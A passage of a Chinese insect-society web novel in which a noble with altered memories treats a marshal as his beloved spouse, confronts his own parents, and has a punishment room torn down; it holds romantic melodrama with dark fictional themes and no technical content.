熟悉的黑发触感从掌心传来。扎手,却无比真实,雪因这才像是从云端落下,心安定了些,对上阿南克充满依恋熟悉的眼神。“雄父才不会不让你进来。你任何时候都可以来找我。” 阿南克顺势蹭了蹭雄父的掌心。 兰斯对上小虫崽那暗搓搓充满敌意的回眸,不甚在意地挑了挑眉。 门外传来交谈声。 雪因的雌父阿斯特拉和雄父洛伦兹,正与兰斯的雌父一边低声讨论着什么,一边走了进来。 雪因立刻握紧了阿南克的手,抬起眼眸,目光依次看向自己的雌父和雄父。 “雄父,雌父,” 他有些紧张却坚定的开口,将阿南克护得死死的,维护之意清晰无比,“这是阿南克。我的虫崽。” “他当然是你的——” 话未说完,洛伦兹的衣袖便被旁边的阿斯特拉轻轻拉了一下。 阿斯特拉侧头,对着自家雄主眨了眨眼。 洛伦兹的话语在舌尖转了个弯,瞬间领会了伴侣的意思。他脸上的神情迅速调整,点了点头,目光落在阿南克身上:“嗯……是个精神漂亮的虫崽。” 语气听起来就像一位第一次见到孙辈、正在努力表达接纳的普通长辈。 雪因将雌父扯雄父衣袖的小动作看在眼里,自动将其解读为雌父在悄悄提醒雄父,要照顾自己刚醒来可能不稳的情绪,接受这个‘来历不明’突然出现的虫崽。 太好了…他们愿意承认阿南克。 雪因暗自松了口气,一直握着阿南克的手也微微放松了些力道。不然,也有些头疼。 “殿下,您…”兰斯的雌父微笑着走近。 雪因却在后方的兰斯侧身带上门的一刹那,余光瞥见了病房外那道黑色身影。心骤然一紧,来不及思索,不顾病房里各虫的目光,掀开被子跳下床,赤足推开门快步追了出去。 门外的庭院,风拂过花丛,卷起几片紫色花瓣,在走廊与庭院之间旋起一道纤薄而恍惚的屏障。下一刻,风势一转,花瓣散落,无形的隔阂仿佛也随之被吹散了。像是不曾存在过,回到它本该落下的位置。 雪因站在走廊这一端,望向另一头的墨尔庇斯。 对方闻声转身,幽深的黑眸映不出丝毫光亮,牢牢锁住了他。 ——我是谁? 诺… ——不对。 紫眸与黑眸在脑海里混乱地交缠。雪因不自觉地后退了半步,又硬生生止住。 ——我永远不会伤害你。迷茫的时候,记住我是谁、爱我就好。 ——那么,告诉我,我是谁? 黑、黑发的。黑眼的。 ——对。继续。 诺…墨尔庇斯。 仿佛有谁在意识尽头轻笑了一下,很难过又很温柔。 ——嗯,是我。那就一直记得、一直爱我。 纷乱的思绪归位。雪因心中安定了下来,身上宽大的病号服略显凌乱,袍角曳过光洁的地面,露出一截泛着淡粉的脚踝。 墨尔庇斯凝视着他。 阔别多年,他的小雄主似乎丝毫未变,依然一副不谙世事的纯粹模样,甚至那双蓝眼睛比记忆里更加清澈透亮。陌生又无比熟悉。 ——等我第一眼看到您… 梦中雄虫带着温柔地抚着他的眼睛和他承诺,一字一句,敲打在他的心脏上。 ——一定会冲过去,紧紧抱住您。 墨尔庇斯没有动。他只是站在原地,近乎贪婪地注视着眼前真实雪因,垂在身侧的手指几不可察地蜷缩了一下,又松开,竟有些细微的颤抖。前所未有的紧张感攥住了他,让他被钉在原地,动弹不得。 于是眼睁睁看着他的小雄虫,朝他的方向小跑了几步。目光相接的瞬间,雪因的眼睫还是不由自主颤了颤,下意识避开,落在了墨尔庇斯胸前勋章上。 雪白耳尖慢慢晕开一层薄红。他抬起头,有一点羞怯,但还是理直气壮的开口:“你都在这里了……”蓝眸漾着水光,直直望进墨尔庇斯深不见底的黑眸里。 “怎么还不抱我呀?”—— 作者有话说:还回一只进度条拉满的雪团。 雪因:抱我,就现在!:3 第87章 被保护的军团长…… 墨尔庇斯怔怔地望着眼前的雪因,时间感被拉扯得有些模糊,明明已经分别了太久,又好似不久前才见过。 他唇瓣微动,终是没有开口。目光所及是雪因随风轻扬的雪白长发,风中携来清冽干净的信息素,抚慰着他多年未愈的精神海。雪因就站在那儿,美得惊心动魄,湛蓝的眼眸含着笑意,直直看向他。 见他仍不动,雪因眨了眨眼,索性自己快步走上前。越是靠近,那种天敌本能的战栗便越发清晰,陌生又熟悉的矛盾感,让他止不住生畏。可他再次确认——黑色的眼睛,黑色的头发,闭上眼,是熟悉的精神力。 骨子里的恐惧随着闭眼消失,反而是久别重逢带来雀跃的悸动,使他身上的信息素连带着兴奋起来。 一定是睡傻了才会害怕!!! 雪因想着,毫不犹豫再次往前走了几步。 墨尔庇斯看着几乎要撞进自己怀里的小雄虫,喉结滚动,终于艰涩地开口:“……你知道我是谁吗?” “是墨尔庇斯呀。”雪因回答得很快,眼眸闪过一丝茫然,很快又被亮晶晶的兴奋覆盖。把这个应该熟悉却陌生的名字藏起,换了一个理所当然的称呼,“雌君,你是我雌君啊!” 雌君?这又是想叫谁?墨尔庇斯几乎要冷笑出来。 他自然察觉出雪因不对劲。这小蠢货,是把他错认成谁了? 一时气闷堵在胸口。他是墨尔庇斯,是帝国最年轻的元帅,是无数虫恐惧又敬畏的存在。自有自己的尊严和傲慢。他应该转身就走,教会这小家伙清醒,就该让他尝尝被冷落的滋味。让他学会分辨真实与虚幻。 可偏偏看着他因赤足站在冰凉地面而微微蜷缩的脚趾,看着他仰起脸,那双漂亮的眼睛笑得,毫无阴霾,满满当当映着的都是他的影子。 墨尔庇斯下颌线绷紧,沉默了两秒。 “……嗯。是我。” “是吧!”雪因眼睛瞬间亮了起来,笑意像碎星般漾开,一把钻入他怀中。 好吧,还是不敢直视那双黑眸。但他已经习惯性大胆地伸出手,环住了雌君骤然绷紧的腰身。“你好像长高了。”手指顺着墨尔庇斯的后脊线条轻抚上去,“也更结实了。” 墨尔庇斯根本说不出话,浑身僵直,喉结上下滚动,发不出任何声音。雪因状态不对劲…也太过暧昧了! 本该拒绝的动作都在温软身体贴近的刹那,被击得溃不成军。他只能僵硬地接受对方毫无隔阂的亲昵。 “受伤了没有?”雪因的声音闷在他衣料间,很快,另一只手也悄然滑下,指尖如羽毛般轻缓地描摹过他的手腕,试探性地滑向掌心,带起一阵细密难言的酥麻。 “我问你呢?受伤了么?”雪因抬起头,蓝眸清亮亮地望向他,他歪了歪脑袋,理所当然的说道:“让我看看……算了,我们回去,”他凑得更近些,语气上翘,“你脱给我看。” 对方温热的手指进一步想握住他指缝的瞬间,墨尔庇斯像是被烫到一样,猛地将手抽回。 想斥责这不守规则的小崽子,却发现雪因没有看他,视野落向了后方。 雪因的雌父、雄父,还有阿南克与兰斯父子正赶来。 雪因侧身,结结实实挡在了他的身前。 他并没有因为刚刚被拒绝牵手伤心,只是回过头真挚地看着墨尔庇斯,“别怕,我不会再逃了。我这次一定会保护好你。” 墨尔庇斯怔住。准备好的冷言冷语都被堵了回去,只愣愣地看着眼前这个明明小小一只却执意要保护他的雄虫。 雪因挺直背脊,直面几位虫。 虽然刚刚被墨尔庇斯拒绝了,但十多年来‘伴侣’给予的绝对安全感让他并没有放在心上,只以为自家雌虫又闹些小脾气。 这一次,他半步未退。站在墨尔庇斯面前,对着雌父雄父郑重介绍,“雌父、雄父,这是我的雌君。我唯一的雌君,诺…墨尔庇斯。” 说罢,他回头,朝墨尔庇斯扬起笑容,毫不畏惧。 对面五位虫:“……” 他们自然无法对现在脑子不好的自家雄子开口,一时竟无言以对。于是谴责的目光,齐齐落在了被雪因护在身后的墨尔庇斯身上。 墨尔庇斯呼吸微窒。 再大的战场,再严峻的谈判,他都游刃有余。可这种以“小情虫”的身份郑重推出、直面实际并不陌生的对方全家的场面…实属平生第一次。 迅速压下那丝罕见的无措,下颌微抬,恢复了惯有的沉稳姿态。 雪因全程护在墨尔庇斯前面,将他与自家这边所有虫隔开,看得雪因雌父心塞塞的。 回到病房,阿斯特拉缓和语气道:“雪因,你先出去一会儿好吗?雌父有些话想和你……雌君谈谈。” “不要。我就在这。”雪因果断拒绝。 洛伦兹第一次见到自家素来乖巧的雄子崽这副一言难尽的模样,有些不忍直视,踱到窗边假装欣赏风景,示意让雪因雌父快点结束。 最终还是墨尔庇斯开口:“先出去等我。” 没曾想,雪因连他也一并拒绝了。小雄虫转过身,眉头微蹙,认真道:“你怎么能一只雌虫在这里?” 最后,还是在兰斯雌父和阿斯特拉再三保证、对天发誓绝不动他‘心肝宝贝雌君’一根寒毛后,才连哄带劝地让阿南克和兰斯,将一步三回头的雪因,暂时带离了房间。 房门掩上。隔音屏障打开。 墨尔庇斯独自坐在沙发另一侧,兰斯雌父站在中央,拿着报告向在场的诸位解释。 “现在情况比预想的复杂。在雪因殿下/体内检测到了高浓度的‘雪伊兰’成分,使用条件极为苛刻,已经几百年没有虫能使用成功案例。它能令中招者对施术者的话语深信不疑,死心塌地。而最关键的前提是,” “双方必须真心相爱,否则无法生效。” “所以,那个卑劣的雌虫到底给我虫崽下了什么暗示?”洛伦兹手指不耐地敲击着椅背。 阿斯特拉解释道:“那名雌虫目前精神状态极不稳定,审问不出什么,现在希利安手里。” “……算了,他毕竟是希利安雌父,由他处理最合适不过。”洛伦兹勉强接受。 “希利安那孩子,办事一向稳妥。”阿斯特拉补充道。 “哼,”洛伦兹冷哼,“心眼太多的虫崽,等级又低,有什么好的。” “好啦,”阿斯特拉缓和气氛,“毕竟是雪因的雄虫崽,您也别太苛刻。当务之急是,雪因的记忆还能恢复吗?”他转向兰斯雌父。 兰斯雌父苦笑了一下:“关于雪伊兰的研究极少。我更疑惑的是,那个雌虫如何知道并成功使用了它。雪因殿下的情况还有个更棘手,他同时还受到了另一种力量的影响。这类似于一种‘潜意识置换’——好比每日饮用的清水被悄然替换成果汁,即便你告诉他真相,他的潜意识也会坚持‘水就是这个味道’,并自动将一切不合理之处‘合理化’。” 对面三虫的脸色瞬间沉了下去。墨尔庇斯沉声问:“是阿南克的力量?” “我不确定,或许阿南克自己也未完全察觉。涉及规则层面的能力,幼年虫崽难以精准掌控。这也是为何等级过高的雌虫幼崽,早年通常不建议养在至亲身边…如今多种力量交织,加上‘雪伊兰’的药效,我强烈建议,不要强行纠正或试图立刻恢复雪因殿下的记忆。”兰斯雌父语气沉重,“强行破坏他此刻的认知体系,很可能导致精神崩溃,甚至有致死风险。必须给他时间,至少现阶段,要顺着他。” 他转而看向一直沉默的墨尔庇斯,意有所指:“要我说,元帅阁下,目前他将您视为挚爱,这对殿下自身,对帝国局势而言,或许…都算是一件好事。一切都能回归‘正轨’。” “…他会想起来吗?”洛伦兹的声音低沉下来,带着忧虑。 “很难说。” 洛伦兹垂下眼眸片刻,目光转向墨尔庇斯,命令道:“雪因的等级很高。趁他现在脑子不好,你和他多生些虫崽。” 墨尔庇斯蓦然抬眼:“……?” “雄主!”阿斯特拉惊讶出声。 洛伦兹冷冷看向阿斯特拉,“呵,你当初不也是如此么?” 阿斯特拉尴尬不已,不敢反驳垂下头来。 洛伦兹继续道:“不可否认,多一些‘锚点’总是好的。现在雪因只有阿南克一个雌虫崽太少了。雪因他性格柔软,为了虫崽,也会更倾向于留在你身边——当然,这不是看得起你的意思。雪因需要更多可靠的雌虫保护,足够多的、属于他的雌虫崽。既然他不愿多娶,那你便多生些。” 在虫族语境中,这算是一种祝福。 “到时就算真正的记忆回来,木已成舟,也无所谓了。”洛伦兹顿了顿,“还有二次进化。雪因之前长期处于逃亡与精神力亏空状态,你需要多做准备。我怕他撑不过去。” “现在确实是他离不开你。你如果不想他死,就顺着他,好好对他。你若想他死,大可按你从前的做派,继续冷着他——反正,”洛伦兹忽然勾起一抹毫无温度的笑,“是你亲手养大的雄子,又不是我养大的。当初说不要就不要了,征战一走了之。现在没了,岂不正合你意?” “雄主!”阿斯特拉惊声制止。 “难道我说错了?”洛伦兹看向墨尔庇斯,积压的怒火与旧怨喷薄而出,“我不信雪因小时候,你不知道一个雄虫幼崽多需要关怀!你不是刻意忽略的吗?现在装什么情深义重?把我雄子禁锢在你身边,却又不对他好!他身边原本那些可以培养出感情的雌虫,哪个不是被你以各种理由驱逐、调离?嗯,对,他们自身有问题,但这些问题是与生俱来,还是被某些虫刻意放大成了必然?我就不信,我雄子身边,连一个真心待他、品性不错的雌虫都没有!” “他的抚育虫呢?你早看他不爽了,明知道他已经不再使坏,还是扒出来不依不饶,迫不及待地处理掉。是怕我的雄子真的会记住他,不再仅仅依赖你吧?” 墨尔庇斯垂眸不语。 “雄、雄主……”阿斯特拉试图缓和气氛。 “你也是,有什么资格说话?”洛伦兹站起身,矛头骤然转向自己的雌君,眸色冰冷,“忘了你现在的身份?你现在只是我的雌奴,只是为了我的雪因给你一个雌君的身份。当初联手外人想弄死我雌父,不就是觉得他太宠我,总想为我寻觅更多雌侍,碍了你的路,让我不能永远只依靠你一个?” 阿斯特拉不敢吱声,垂首跪在一旁,试图平息自家雄主怒火。 洛伦兹余光冷冷扫过试图降低存在感的兰斯雌父。 兰斯雌父立刻恭敬地单膝触地,并举手投降状,示意自己绝不会多言。 洛伦兹冷哼一声,重新将视线钉回墨尔庇斯身上:“你喂他喝的是什么?你的血?弄出成瘾性?你看他依赖你,享受他病态的依赖,又吝于给予温情…雌虫,果然没一个好东西。” “你若不想要他了,待会儿我可以亲自替你解决他。省得我雄子活着,还要继续受这份罪。” “你敢——!” 墨尔庇斯猛地抬头,暗沉的黑眸中仿佛有风暴炸开,一直压抑的气势骤然攀升,凌厉的杀气不受控制地溢出一线。 阿斯特拉下意识上前半步,挡在洛伦兹身前。兰斯雌父依旧低着头,紧紧捂住耳朵,望着窗外,假装对室内即将爆发的冲突一无所知。 救命,说好两国交战不斩来使的哈。 就在室内气氛紧绷如弦、杀气一触即发之际—— “砰——!!!” 一声巨响,病房门被从外猛地踹开! 雪因站在门口,胸膛微微起伏,总是清澈柔软的蓝眸露出冷意,尾钩闪着寒光危险地扬起。一股强大的雄虫精神力甚至隐隐压过了房内原本属于洛伦兹的威压。 目光扫过室内。 只见他的雌父阿斯特拉挡在雄父身前,雄父洛伦兹眼眸冷淡充斥着一丝杀意看向墨尔庇斯,房间中央,他那位‘可怜、弱小又无助’的雌君,正被围在中间,孤立无援。 雪因快步径直插入墨尔庇斯与洛伦兹之间,反手向后,握住了墨尔庇斯的手腕,将其往后一拉,牢牢护在身后。 “雄父,雌父。” 雪因强压着愤怒,字字清晰,“根据《帝国核心法典》第七章、雄主特权与义务条款,以及《雌虫婚姻与家庭法》相关细则,墨尔庇斯作为我的雌虫,其一切事务的优先处置权与最终裁定权,归属于我,他的雄主。任何涉及他的问询、决议,若需具有正式效力,理应由我主导,或至少在场见证。” “如果诸位对我的雌虫有任何疑问,或对我目前的状况有所担忧,请直接与我沟通。我是他的雄主。我会负责厘清所有问题,并做出应有的判断与决定。” “请雄父、雌父。”雪因看向阿斯特拉和洛伦兹,漂亮的蓝眸微眯,带着沉意,“不要介入我与我的雌君之间。若我雌虫犯错,我自会承担起调教与规训的责任,就不劳各位费心插手了。”—— 作者有话说:深藏功与名的奈孙:喝茶.jpg 第88章 被热暴力的军团长…… 洛伦兹看着自家雄子这副不值钱的模样简直气笑了,之前为了退婚闹得不可开交,现在换了段记忆,倒是将人家当成宝贝虫,护得跟什么似的。 更令他如鲠在喉的是那个该死的墨尔庇斯,居然就这么一声不吭地站着,任由雪因挡在他前面。 三虫谴责的目光齐齐落在墨尔庇斯身上。丢不丢虫?堂堂元帅,让自家雄主护在前面? 墨尔庇斯低笑了一声。 他抬手轻轻一握,便将雪因手腕完全纳入掌心。什么也没说,牵着雪因,转身离开了房间。 阿南克看了看祖父们,安静地行了一礼,转身跟上。兰斯见状,干笑两声打了个圆场,也快步追了出去。 走廊里光影流转。 走出不远,墨尔庇斯便松开了手。 雪因却没有再去抓他,仰起脸,睫毛投在眼下的浅浅阴影,眼睛亮晶晶地望着他:“我带你逛逛我的王爵府?” “……嗯。” “对了,还有我的阿南克……”雪因想起什么,刚想回头招呼自家虫崽,却被墨尔庇斯侧身一步,结结实实挡在了身前。 他的身形实在太具压迫感,只是这样一站便将雪因整个笼在了自己投下的阴影里。在雪因看不见的角度,墨尔庇斯指尖微动,一道幽暗的虫洞悄无声息地在阿南克和兰斯脚下一闪而逝。 两虫甚至没来得及出声,便消失在了原地。 雪因茫然地眨了眨眼,微微踮脚,视线越过墨尔庇斯宽阔的肩膀看向后方空荡的走廊:“咦?他们呢?” 墨尔庇斯垂眸看着几乎被自己身形完全笼住的雪因。那小小的脸在他视野中显得愈发精致脆弱。 他面不改色,声音低沉平稳:“帝星很安全。他们可能去别处参观了。” 说着,他稍稍退开半步,给雪因让出空间看向后方,证明自己没有说谎。 “那可不行,”雪因的眉头轻轻蹙起,“阿南克第一次来帝星,万一迷路了,或者被不长眼的欺负了怎么办?我得去找他。” 雪因刚转身,墨尔庇斯有力的手便按在了他的肩头,强行止住了他的脚步。 “兰斯是高阶雄虫,”墨尔庇斯按在雪因肩上的指尖微微收拢,将雪因脚步转回来,“他知道规矩,也会照看好虫崽。”他顿了顿,又生硬地补了一句,“阿南克可不小了,总得学着自己处理,不必事事操心。” 这番话逻辑严密,理由充分,配上他惯常冷肃的神情,几乎无懈可击。唯有按在雪因肩上的手一直未松开。 “……也是,”雪因放松下来,“兰斯办事向来稳妥。” 他转而重新看向墨尔庇斯,笑容明亮起来。就着墨尔庇斯按在他肩上的姿势,顺势贴近了一点:“那…我先带你逛逛?我的王爵府,有很多好玩的地方。” 墨尔庇斯松了口气,按在雪因肩头的手没有立刻收回,又停留了一瞬,才缓缓放下。 “嗯。”他应道,声音比刚才更低哑了一些。高大的身躯依旧挺直,保持着军团长的仪态,脚步自觉地跟上了雪因略显雀跃的步子,走在他身侧稍后的位置。 “对了,我——”雪因回头看向墨尔庇斯,话刚起头便顿住了。 墨尔庇斯的身形实在太过高大,此刻站得近了,投下的阴影几乎能将雪因整个笼罩进去。雪因仰起脸,视线撞进那双深不见底的黑眸里,没来由的生理反应便涌了上来。 心跳失序,指尖发麻,呼吸不由自主地变得急促。蓝眸里迅速蒙上一层薄薄的水雾,纤长的睫毛无法控制地轻颤,连带着单薄的肩膀也微微发起抖来。 墨尔庇斯却勾起唇角,非但没有收敛,反而刻意让身上属于顶级掠食者的、带着血腥气的威压又浓重了几分,沉沉地碾向眼前瑟瑟发抖的小雄虫。 这才是他熟悉的雪因——会因他的靠近而恐惧,会在他目光下颤抖,漂亮的眼睛里应当盛满惊惶,而非现在让他心绪不宁的依恋模样。 他如愿以偿欣赏到雪因眼尾泛上动人的嫣红,粉润的唇瓣因无意识的屏息而微微张开,整个人像风中细雪,仿佛他再进一步,就会彻底融化。 半响,雪因带着颤音,小心翼翼地开口: “雌、雌君。我好像……” “嗯?”墨尔庇斯从喉间溢出一声恶劣低沉的回应,尾音微扬。 看,果然还是怕的。 雪因吸了吸鼻子,抬手抹了一下眼角差点溢出的泪花,声音里带着困惑与莫名的羞赧: “我看到你…心跳得好厉害,像要炸开了。”他眨了眨水汽氤氲的蓝眸,“难道我们之间…没有厌倦期这种东西吗?我现在看到你心悸得好难受?” 墨尔庇斯:“?” 雪因恍然大悟一般,伸出手,抓住了墨尔庇斯垂在身侧的手腕。 墨尔庇斯手臂肌肉瞬间绷紧。 “你要不要……”雪因仰着脸,眼神湿漉漉的,“摸一下?它跳得真的好快。我想,我一定是太喜欢你了。” 说着,他牵引着墨尔庇斯僵硬的手,试图往自己胸口上贴去。 墨尔庇斯猛地抽回手,堪称狼狈地后退了一大步。 他紧抿着唇,下颌线绷得死紧,心中翻涌着震惊、荒谬,和他自己都无法理解的烦闷。 他看着雪因,因为他的突然退开流露出些许疑惑,唯独没有半分恐惧或委屈,全然信赖的模样却像一根细针,不偏不倚扎进墨尔庇斯最烦躁的神经。 这该死的、错位的、分明属于另一个虫的感情,让他胸口的无名火烧得又旺又闷。 他几乎想立刻转身就走,这荒诞的戏码他一秒也支撑不下去了。 雪因却没有纠缠,像什么都没发生一样,转身迈开步子,声音轻快:“走吧走吧,我带你过去。” 走了几步他才回过头,发现墨尔庇斯还站在原地,身影显得格外僵硬。“跟上呀,你怎么了?” 墨尔庇斯无言,只能‘不甘愿’的迈开了脚步,跟在雪因身后。 他们很快来到王爵府后方的一处高坡花田。这处视野开阔,花木养护得极好,因着地势高可以轻易越过前方花园,望见庭院以及主宅的轮廓。 “来这里。”雪因停在旁边一个稍显陈旧的秋千旁。秋千的样式古朴,能看出有些年头了,但连接着木板的藤蔓结实,木板也被摩挲得温润,显然是因为主虫喜爱,才一直保留着最初的模样。 “来,坐这里~” 雪因拍了拍秋千板,邀请道。 墨尔庇斯沉默地看了那小小的秋千板一眼,又看了看自己高大的身躯。片刻后,他还是依言坐了下去。 “嘎吱——!” 秋千猛地向下一沉,发出不堪重负的抗议声。 雪因忍不住笑出了声,眉眼弯弯。墨尔庇斯脸色一黑,立刻就要起身。 但很快,周围缠绕着绳索的藤蔓识时务地窸窸窣窣延伸开来,加固了绳索与支架,轻轻推着秋千,让它带着上方身形僵硬的雌虫,轻轻晃动起来。 微风拂过,带来花香与雪因身上干净的信息素,慢慢抚平了他胸中那团躁动的火。 他目光下意识地游移,从这个晃动的角度望去,视线恰好能穿过枝叶间隙,清晰无误地落向主宅某一扇窗户。 那是他的书房。 他一时有些愣神。 还没等他理清头绪,清甜的信息素便从身后笼罩而来。雪因从背后环抱住了他,双手亲昵地搂住他的脖子,柔软的脸颊贴着他的耳廓。 墨尔庇斯浑身骤然僵直,连呼吸都屏住了。 “你看,那边。” 湿软的声音带着热气钻进墨尔庇斯耳朵,雪因轻轻蹬地,让秋千晃动更惬意了些。 雪因伸出手,指尖正正指向书房窗口。 “是我……” 雪因试图回忆,但很快那些模糊的碎片就被他本能地略过,只提炼出一个清晰的标签,“一个长辈。” “长辈?” 墨尔庇斯的声音干涩。 “对,长辈。” 雪因顺势在他脸颊上依赖地蹭了蹭。 墨尔庇斯快要跳起来了,但他根本不敢动。雪因现在整个人靠在他背上,手环着他,如果他此刻抽身躲开,雪因绝对会摔下去。可这太过亲密了! “他一个很重要的、长辈的书房。” 雪因终于说完了,也望着那个方向,蓝眸隔着一层雾气微微怀念着,“他对我很凶,但是…其实他虫不错。” 雪因顿了顿。 “对你很凶,还能叫不错?” 墨尔庇斯的声音有些发紧。 “他对外面的虫不凶,只是不喜欢我罢了。” “……他没有不喜欢你。” “我知道啊。” 墨尔庇斯心口一松。 “他恨我。” 雪因轻飘飘的三个字,像冰锥猝不及防地刺入墨尔庇斯的胸膛。 墨尔庇斯他张了张嘴,却什么声音也发不出来。是啊,这毕竟是他当年亲口承认过的话。 “……你在怀念他吗?” 许久,他才找回自己的声音,沙哑地问。 “帝国需要他。” 雪因打起了哈哈,出去这几年,倒是学了些避重就轻的本事,让想听到直白答案的墨尔庇斯烦躁起来,有些怀念起当年莽撞直白、喜怒形于色的小雄子。 “以前我喜欢待在这儿,在这个位置看着他,然后睡午觉。” 雪因的声音低了下去,语气温柔轻松,“不远不近,刚刚好。” 墨尔庇斯不由得怔住。 记忆深处某些被忽略场面浮现——确实每次回府,隐约感觉到窗外投来安静的视线,不带恶意,就这么小小的存在着。王爵府里崇拜、好奇、畏惧的目光太多,他只将其当作其中之一。只是似乎正因为那道目光的陪伴,他停留在这个书房的时间,总会在变得长久一些。 他有时也分不清,究竟是因为这道视线选择了这间书房,还是他本就偏爱此处,才吸引了那道目光。 如今答案裹挟着花香与清风,撞入他怀中。 秋千还在轻轻摇晃,带着两人交叠的身影。藤蔓与风都变得安静,唯有身后温热的依附真实可感。 墨尔庇斯望着那扇熟悉的窗户,第一次看清了从窗外望进来的风景,也第一次尝到了被自己当年掷出的回旋镖,正中靶心的滋味。 又涩又疼。 “好奇怪,” 雪因温热的呼吸扫过他耳廓,“我真的现在一看着你的眼睛,心就跳得好厉害。是你变了,还是我变了?” “……”换了一个虫能不变么?蠢货。墨尔庇斯无言以对。 “算了。” 雪因很快放弃了深究,理所当然任性起来,“你别躲,让我多看看,习惯了就好了。” 他说着,搂着墨尔庇斯脖子的手臂又收紧了些。 “你话也少了好多……也不亲我了。” 雪因顿了顿,忽然警觉起来:“他们是不是欺负你了?跟你说了什么?让你不要靠近我?” “他们——” “嘘。” 雪因从侧后方探过身来,一只手从后方压住了他的肩膀,将他牢牢固定在秋千上,明明很轻却让他动弹不得。 墨尔庇斯被迫侧过头,雪因的脸庞在他眼前放大到极致。鼻尖几乎相触,呼吸无可避免地交融。阳光下,他能看清雪因细腻肌肤上细小的绒毛,水雾的眼眸,粉润的唇瓣微张,内里湿软的水色若隐若现,随着说话轻轻开合。 “我的意思是,你真的不想亲我么?”—— 作者有话说:被丢走的阿南克、兰斯:……@¥@#%@#! 第89章 雌虫调教室 墨尔庇斯能清晰地看见近在咫尺的蓝眸,满满地只倒映着他一只虫的身影。雪白的睫毛像两把小扇子,随着主人呼吸微微颤动,像扫在他的心尖上。 温热的鼻息交融在一起,分不清彼此。 “我……” 他试图说些什么,却发现只要嘴唇微动,就要碰到那片柔软。想象中属于对方唇瓣的温软触感像是已经提前擦过他的神经,让他大脑陷入一片空白。 他立刻抿住唇,僵在原地,呼吸都屏住了。 活了上百年,征战无数,面对过最恐怖的星兽和最复杂的战局,偏偏一无所知得厉害,被简单直接的亲密邀约弄得手足无措。 他看见那双蓝眸笑意加深,年轻雄虫的眼睫缓缓垂下,距离越来越近,像是故意的,一点点逼近。墨尔庇斯喉结剧烈地滚动了一下,放弃挣扎,闭上了眼睛。 …… 预想中的温软并未落下。 他只听到一声轻笑,仿佛羽毛搔过耳膜。肩头那点压着他的力道消失了,紧挨着的温热体温也骤然撤离。 墨尔庇斯倏然睁开眼。 雪因已经站在了几米开外的花田边,背对着他,望着下方层叠的庭院。银白的长发被微风撩起几缕,阳光在他身上镀了一层柔和的晕边,身影看起来竟有几分遥不可及。 是他们之间一直的距离。 莫名失落。他僵坐在秋千上,手指无意识地攥紧了膝头的布料,指节微微发白。秋千静止下来,像是刚才温存又是一场梦。 雪因回过了头。 阳光勾勒着雄虫精致完美的侧脸线条。雪因微微扬着下巴,眼眸微微眯着。他矜贵柔弱的小猫咪在他看不见的地方,不仅没有被风雨击倒,反而成了一只优雅稳重不缺机敏的雪豹,眼神里闪烁着点点光点。 “我才不会一直等你。” 雪因开口,依旧理所当然的骄纵着,朝墨尔庇斯眨了眨眼。 “你不过来,我就走了。” 他转过身作势就要离开,只留给墨尔庇斯一个逐渐远去的背影。 时间在似乎被拉得无比漫长。他看着那抹雪色身影越走越远,步伐轻快,没有丝毫留恋或回头的意思。花香依旧,微风依旧。 理智在嘶吼:这不对,他像这样做的根本不是对你,这是假的,你不能沉溺,这有损你的尊严…… 可看到背影真的再也没有回头的打算,本能瞬间冲垮了摇摇欲坠的防线。 …… …… …… 墨尔庇斯猛地从秋千上起身。高大的身形带起一阵风,惊扰了花叶。 几步冲上前,从后方将即将走远的雪因整个儿牢牢圈进了怀中。胸膛紧密地贴合着雪因后背,急促到失控的心跳隔着层层衣料,一下又一下传递过去,滚烫体温,将两人之间最后那点距离也焚烧殆尽。 他将脸深深埋进雪因颈侧柔软微凉的发丝间,贪婪地汲取着那清甜的信息素,凭着本能急切地侧过头,慌乱地想要寻那近在咫尺的唇,将那个被中断的吻续上—— 一根骨节分明的手指,抵在了他的唇上,止住了他的动作。 墨尔庇斯动作一僵。 雪因在他怀中微微偏过头,望着墨尔庇斯有些错愕的黑眸,笑得狡黠:“乖~但是现在不行哦。时间到了。错过就是错过,” “时间可回不了头。” “怎么回不了?!” 墨尔庇斯脱口而出,声音带着恼怒陡然拔高,失去了惯常的沉稳。 环住雪因的手臂收紧,力道大得让怀里的身躯轻轻闷哼了一声。 他意识到自己的失态,惯常冷硬面具迅速试图重新覆盖上来,但眼底狼狈未散,显得有些色厉内荏。 “我想做什么便做什么。” 他盯着雪因,语气下意识回归了久居上位不容反驳的冷调,仿佛这样就能夺回主导权,“你是我看着长大、由我亲自教导规矩的虫。何时轮到你来规定行与不行?” “……什么?” “我……” 墨尔庇斯语塞。 还不能刺激他,不能破坏他现在的认知。 满腔翻腾的占有欲和挫败感被强行堵住,急需一个宣泄的出口,却又被理智死死按住。 他喉结剧烈滚动,黑眸沉沉地锁着雪因,他俯身,拉近两人呼吸的距离,宣告着: “我们之间的关系,我想对你做什么,难道还需要经过谁的允许?” 他试图用充满掌控意味的语言,来掩盖方才被拒绝的尴尬,并重新圈定彼此的界限——在他的界限里,他理应拥有绝对的主动权,包括索吻,包括亲近,包括……拥有。 “还是说,你现在连这都要拒绝你的雌君?”他顿了顿,再次强调,“你亲口承认的雌君。” 这确实是雪因亲口说的,第二次了,算得上强调。 雪因却没有顺着他的话往下走。潜意识在提醒他,要是顺着墨尔庇斯给的‘路’走,多半又是不欢而散。 他微微向后,放松靠进对方坚实的胸膛里,抬起手,指向王爵府一处被高大建筑阴影笼罩的角落。 “你看那里。” 这是他养阿南克多年学到的。阿南克大多时候是个很好带的虫崽,但也不知这性子随了谁,在某些点上异常偏执。但只要在他情绪彻底发酵前,快速转移他的注意力,风暴往往就能消弭。 “……雌虫调教室?”墨尔庇斯眯起眼,声音低沉下去。他对那地方熟悉得不能再熟悉。 那地方本就是为他而设,防止他失控伤到雪因,里头的刑具全是最高规格。他几乎每次回府都得进去几回——对雪因态度不佳被雄虫协会问责;因保护不力让雪因情绪不佳;甚至因雪因外出与别的雌虫约会,他未能‘提前察觉并为雄主纾解欲望’也得进去受罚。 可他从来不改。 望着那个方向,墨尔庇斯眸色暗沉晦涩。这小东西,出去野了十几年,倒是学了这些不上台面的手段,以为靠恐吓就震慑住他?天真。待他走出那里…他冷嗤。 但下一秒他察觉不对。那个方向还有许多侍虫,手持工具,有条不紊地…拆毁。 “我要把它砸了。”雪因的声音贴着胸膛传来。 他稍稍侧头,仰脸看向墨尔庇斯,唇角勾起一抹毫无阴霾的笑:“刚才…你进去见我雌父他们的时候,我有点担心,他们会顺势把你关进去。” “所以,我就提前让虫把它砸了。” 墨尔庇斯怔住,环抱着他的手臂松了一瞬。 